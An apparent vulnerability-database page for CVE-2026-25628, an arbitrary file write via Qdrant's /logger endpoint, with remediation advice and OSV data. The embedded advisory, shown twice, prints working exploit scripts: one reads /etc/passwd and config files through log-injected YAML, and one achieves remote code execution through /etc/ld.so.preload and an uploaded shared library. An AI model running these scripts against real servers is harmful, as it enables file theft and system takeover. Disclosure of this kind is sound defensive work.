CVE-2026-25628: Qdrant Qdrant Has Arbitrary File Write Vulnerability

HIGH
Advisory Identifier: GHSA-f632-vm87-2m2f
CVSS 8.5
CWE-73
Published
Advisory Summary

CVE-2026-25628 is a HIGH (CVSS 8.5) qdrant has arbitrary file write vulnerability (CWE-73: External Control of File Name or Path) affecting Qdrant libraries in the crates.io ecosystem. The issue involves qdrant has arbitrary file write via `/logger` endpoint. Remediation is available by upgrading affected packages to version 1.15.6.

CVE-2026-25628 at a Glance

CVE Identifier CVE-2026-25628
GHSA Identifier GHSA-f632-vm87-2m2f
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Qdrant
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25628

To remediate this vulnerability, upgrade all affected Qdrant dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

qdrant fixed: 1.15.6
Upgrade qdrant to 1.15.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for qdrant

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25628, inspect your project dependencies for Qdrant:

inspect dependencies for qdrant

Analyze the terminal output to locate any version of Qdrant in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.15.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Qdrant, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5 ### Details `POST /logger` ([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195)) endpoint accepts an attacker-controlled `on_disk.log_file` path. There are no authorization checks (but authentication check is present). This can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml. After running the PoC, the content of `config/local.yaml` will be: ```yaml 2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422 2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui service: static_content_dir: .. 2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391 ``` Some junk log lines are present, but they don't matter as this is still valid yaml. After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path. Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint). Relevant requests: 1. Enable on-disk logging to the config file: ```bash curl -sS -X POST "http://localhost:6333/logger" \ -H "Content-Type: application/json" \ -d '{ "log_level":"INFO", "on_disk":{ "enabled":true, "format":"text", "log_level":"INFO", "buffer_size_bytes":1, "log_file":"config/local.yaml" } }' ``` 2. Inject YAML via a request that logs newlines (URL-encoded): ```bash curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \ -H "Content-Type: application/json" \ -d '{}' ``` ### Full reproduction instructions 1. Start Qdrant with a writable configuration directory: ```sh sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5 ``` 2. Run the exploit: ```sh % python3 exploit.py --url http://localhost:6333 [+] Logger configured [+] Log injection successful [+] Logger disabled Restart Qdrant cluster and press Enter to continue... ``` 3. Restart the container: ```sh sudo docker restart qdrant-poc ``` 4. Resume the exploit: ```sh <press Enter> [+] Passwd file retrieved -------------------------------- ... -------------------------------- [+] Config file retrieved -------------------------------- ... ``` ## Mitigation 1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely). 2. Restrict the path of the log file to a dedicated logs directory. This vulnerability does not affect Qdrant cloud as the configuration directory is not writable. ## Exploit code ### `exploit_privesc.py` ```python import requests import sys import argparse parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") args = parser.parse_args() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log_level": "INFO", "on_disk": { "enabled": True, "format": "text", "log_level": "INFO", "buffer_size_bytes": 1, "log_file": "config/local.yaml", }, }, ) res.raise_for_status() print("[+] Logger configured") res = s.patch( f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a", json={}, ) error = res.json()["status"]["error"] if "doesn't exist!" in error: print("[+] Log injection successful") else: print(f"[-] Error: {error}") sys.exit(1) res = s.post( f"{url}/logger", json={ "on_disk": { "enabled": False, }, }, ) res.raise_for_status() print("[+] Logger disabled") input("Restart Qdrant cluster and press Enter to continue...") res = s.get(f"{url}/dashboard/etc/passwd") res.raise_for_status() print("[+] Passwd file retrieved") print("--------------------------------") print(res.text) print("--------------------------------") res = s.get(f"{url}/dashboard/qdrant/config/config.yaml") res.raise_for_status() print("[+] Config file retrieved") print("--------------------------------") print(res.text) print("--------------------------------") ``` ## `exploit_rce.py` ```python import requests import argparse import tempfile import os TEST_COLLECTION_NAME = "COLTEST" parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") parser.add_argument("--cmd", default="touch /tmp/touched_by_rce") parser.add_argument("--lib", default="") args = parser.parse_args() assert "'" not in args.cmd, "Command must not contain single quotes" so_code = """ #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() { unlink("/etc/ld.so.preload"); system("/bin/bash -c 'XXXXXXXX'"); } """.replace('XXXXXXXX', args.cmd) with tempfile.TemporaryDirectory() as tmpdir: with open(f"{tmpdir}/cmd_code.c", "w") as f: f.write(so_code) os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c') cmd_so = open(f'{tmpdir}/cmd.so', "rb").read() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log_level": "INFO", "on_disk": { "enabled": True, "format": "text", "log_level": "INFO", "buffer_size_bytes": 1, "log_file": "/etc/ld.so.preload", }, }, ) res.raise_for_status() print("[+] Logger configured") res = s.get( f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so", ) print("[+] Log injected") res = s.post( f"{url}/logger", json={ "on_disk": { "enabled": False, }, }, ) res.raise_for_status() print("[+] Logger disabled") rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")}) print(rsp.text) # trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace` input("Press Enter to continue...") rsp = s.get(f"{args.url}/stacktrace") rsp.raise_for_status() ``` ### Impact Remote code execution.

CVE-2026-25628 Affected Qdrant Versions

1 component(s)
Fixed Versions:
1.15.6
Product / Package Ecosystem Affected Versions Fixed Version
qdrant
crates.io
≥ 1.9.3
< 1.15.6
1.15.6

References

Frequently Asked Questions

What is CVE-2026-25628?
CVE-2026-25628 is a security vulnerability in Qdrant involving qdrant has arbitrary file write via `/logger` endpoint under CWE-73: External Control of File Name or Path.
Which Qdrant versions are affected?
Affected versions include releases prior to 1.15.6 across affected packages: qdrant.
What version fixes CVE-2026-25628?
Upgrading to 1.15.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is qdrant affected?
Yes, qdrant is affected in releases prior to 1.15.6. Upgrade your dependency to 1.15.6 or later.
What is the CVSS score of CVE-2026-25628?
CVE-2026-25628 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25628?
CVE-2026-25628 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check crates.io dependencies for CVE-2026-25628?
Run the dependency tree command: 'inspect dependencies for qdrant'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f632-vm87-2m2f",
  "modified" : "2026-02-06T21:43:57Z",
  "published" : "2026-02-05T21:22:50Z",
  "aliases" : [ "CVE-2026-25628" ],
  "summary" : "qdrant has arbitrary file write via `/logger` endpoint",
  "details" : "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n    static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don't matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"log_level\":\"INFO\",\n    \"on_disk\":{\n      \"enabled\":true,\n      \"format\":\"text\",\n      \"log_level\":\"INFO\",\n      \"buffer_size_bytes\":1,\n      \"log_file\":\"config/local.yaml\"\n    }\n  }'\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{}'\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n<press Enter>\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"config/local.yaml\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n    f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n    json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn't exist!\" in error:\n    print(\"[+] Log injection successful\")\nelse:\n    print(f\"[-] Error: {error}\")\n    sys.exit(1)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"'\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include <stdlib.h>\n#include <unistd.h>\n\n__attribute__((constructor))\nvoid init() {\n    unlink(\"/etc/ld.so.preload\");\n    system(\"/bin/bash -c 'XXXXXXXX'\");\n}\n\"\"\".replace('XXXXXXXX', args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n        f.write(so_code)\n    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')\n    cmd_so = open(f'{tmpdir}/cmd.so', \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"/etc/ld.so.preload\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n    f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "qdrant"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.9.3"
      }, {
        "fixed" : "1.15.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/qdrant/qdrant"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:22:50Z",
    "nvd_published_at" : "2026-02-06T21:16:18Z"
  }
}